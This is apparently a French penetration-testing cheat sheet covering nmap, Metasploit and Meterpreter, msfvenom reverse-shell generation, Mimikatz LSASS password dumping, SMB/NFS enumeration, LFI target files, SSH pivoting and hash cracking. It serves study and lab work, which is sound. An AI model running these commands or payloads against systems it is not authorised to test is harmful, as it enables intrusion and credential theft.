Skip to the content.

Pentest

Ressources

Notes utiles :

Shell upgrade : https://d00mfist1.gitbooks.io/ctf/content/spawning_shells.html

Linpeas.sh : https://github.com/carlospolop/PEASS-ng

GTFObins : https://gtfobins.github.io/

Wordlists : https://github.com/danielmiessler/SecLists/

https://github.com/swisskyrepo/PayloadsAllTheThings

https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

tools

Cosntructeur de reverse shell : https://www.revshells.com/

https://github.com/AlessandroZ/LaZagne

Scan de port

# pinguer tous les hôtes d'un réseau (port 80 + ICMP echo-request)
nmap -v -T4 -sP 192.168.0.0/24

# passer la découverte d'hôte
# (par défaut, Windows répond pas au ICMP echo-request, ni n'écoute sur port 80)
-Pn

####################
# scan réalistes
####################

# scan discret (n'envoi que des TCP SYN, connexion remonte pas à la couche 7, moins de log)
nmap -v -sS -sV <ip>
# recherche de script pour le service
ls -1 /usr/share/nmap/scripts | grep -i <service>
# script NSE ciblé
nmap -v -p 21 --script "safe and ftp*" 10.10.123.36

####################
# scan bourrins
####################

# OS + info sur les services
nmap -v -T4 -A -oA scan1 <ip>
# scan de vuln
nmap -v -T4 -sV --script vuln -oA scan1 <ip>
# sur une plage de port
nmap -v -T4 -sV --script vuln -oA scan1 <ip> -p 0-10000

Metasploit

Catégories de modules (show [module] pour les lister) :

  1. auxiliary
  2. exploits
  3. payloads
  4. encoders
  5. nops
  6. post

Pour démarrer :

sudo msfdb init # démarrer la db
msfconsole -a   # demande confirmation avant de quitter

Commandes :

# Aide
help|?

# Espaces de travail
workspace           # affiche les workspace
workspace -a <nom>  # create workspace, it becomes current workspace
workspace <nom>     # change workspace
workspace -d <nom>  # delete workspace

# Enregistrement
spool ./msfconsole.log  # tee la session dans un fichier
makerc ./msfconsole.cmd # save all commands since start up to a file
save                    # enregistre les variables dans ~/.msfX/config

# Interactions avec la db
db_status   # check la connexion avec la db
db_import   # importer des résultats de scan par des outils externes
db_nmap     # lance nmap et insert les résultats dans la db
hosts [-R]  # affiche les hôtes ou set RHOSTS directement
services    # affiche les services des hôtes
vulns       # affiche les vulns des services
creds|loot|notes

# Modules
search motif    # we can filter with type/port/cve/platform
use n           # selectionner le module n
info [n]        # infos sur le module n ou le module courant
options         # affiche les variables du module
advanced        # affiche plus de variables
show missing    # affiche les variables manquantes
check           # certains modules permettent de tester l'exploitabilité
run [-j]        # lancer le module ou le lancer sous forme de job
jobs            # afficher les jobs
sessions [-i n] # afficher les sessions ou s'attacher à la session n
back            # sortir du module

# Variables (insensible à la casse)
set <var> <value>
get <var>
setg <var> <value>  # global
getg <var>
unset <var>

Meterpreter :

# Aide
help|?

bg              # se détacher de la session
migrate <PID>   # migrer le meterpreter vers un autre process
getuid
sysinfo
load kiwi       # charger l'extension de meterpreter mimikatz
getprivs
upload
shell           # ouvrir un shell sur la machine

MSFvenom

MSFvenom can generate reverse shell and bind shell payloads in various formats.

There is 2 types of payloads :

# to list
msfvenom --list payloads
msfvenom --list encoders
msfvenom --list formats

# to generate a stageless reverse shell for a Windows x64 target in exe format
msfvenom -p windows/x64/shell_reverse_tcp -f exe -o rshell.exe LHOST=192.168.13.37 LPORT=443

# to generate a staged meterpreter reverse shell for a Linux x64 target in elf format
msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST=10.10.10.5 LPORT=443

Searchsploit

# chercher un exploit
searchsploit cms made simple 2.2.8
# l'examiner
searchsploit php/webapps/46635.py -x
# le copier
searchsploit php/webapps/46635.py -m

Mimikatz

# check we have appropriate privileges (Administrator or SYSTEM)
privilege::debug
  # Privilege '20' OK

# dumping the passwords from the LSASS memory
# (using logonpasswords function from sekurlsa module)
sekurlsa::logonpasswords

Protocoles

SMB

Les ports 139 et 445 indiquent un serveur SMB :

# full basic enumeration
enum4linux -a 192.168.10.1 | tee smb-enum.txt
# énumérer les utilisateurs avec un RID cycling sur un intervalle plus grand
enum4linux -U -R 500-2000 192.168.10.1 | grep -v unknown | tee smb-enum-rid.txt
# avec des credentials
enum4linux -a 192.168.10.1 -u test -p test | tee smb-enum-as-user.txt

Pour accéder à un partage SMB :

smbclient //<ip>/<share> [-U user] [-p port]

NFS

# afficher l'export list d'un service NFS :
showmount -e 10.10.222.36

# monter le répertoire distant share sur le point de montage mnt
mkdir mnt
sudo mount 10.10.222.36:/share mnt

Web

LFI (Local File Inclusion)

From LFI to RCE 🚀

Fichiers remarquables :

/etc/passwd
/etc/shadow # on sait jamais
/home/user/.bash_history
/home/user/.ssh/config

/var/log/auth.log # et cetera

Fingerprinting

Détecter les proxy : Méthode TRACE (de moins en moins disponible sur les srv web) Détecter les IPS/WAF : utiliser des mots caractéristiques d'une attaque et voir si page d'erreur (peut permettre d'identifier l'équipement) Détecter les applications :

SSH

Local Port Forwarding : ssh host -L 9000:remote_addr:80 puis curl localhost:9000 Remote Port Forwarding : Dynamic Port Forwarding : ssh host -D 9000 puis paramétrer un sock proxy dans firefox sur localhost:9000

Proxychains

Sur la machine locale, editer /etc/proxychains.conf :

[ProxyList]
socks5 127.0.0.1 9999
...

Puis créer le point de sortie avec ssh root@web -D 9999.

Plus d'infos sur https://man.cx/proxychains.

Privilege escalation

Trouver les binaires suid :

find / -user root -perm -4000 -exec ls -t {} \; 2>/dev/null

systemctl : https://gtfobins.github.io/gtfobins/systemctl/

Infrastructure

Serveur web :

python3 -m http.server 8080

Reverse shell

Pour se mettre en écoute :

# rlwrap permet d'avoir le confort de UP LEFT TAB
rlwrap nc -lnvp 9007

Upgrade de shell

Password cracking

https://crackstation.net/

Identifier :

John the Ripper (CPU)

Pour extraire les hash :

john --wordlist=/usr/share/wordlists/rockyou.txt *.hash

# hash$salt
--format='dynamic=sha512($p.$s)'

Hashcat (GPU)

# attaque par dictionnaire sur sha512crypt
./hashcat.exe -O -m 1800 '$6$GQXVvW4EuM$ehD6jWiMsfNorxy5SINsgdlxmAEl3.yif0/c3NqzGLa0P.S7KRDYjycw5bnYkF5ZtB8wQy8KnskuWQS3Yr1wQ0' -a 0 rockyou.txt
# spaceman

# attaque par mask sur MD5
./hashcat.exe -O -m 0 '5abb483f1b9976d7a80bfa35f2a0c316' -a 3 ?d?d?d?d?d?d?d?d --increment
# 85208520

Afficher les mots de passe trouvés : cat hashcat.potfile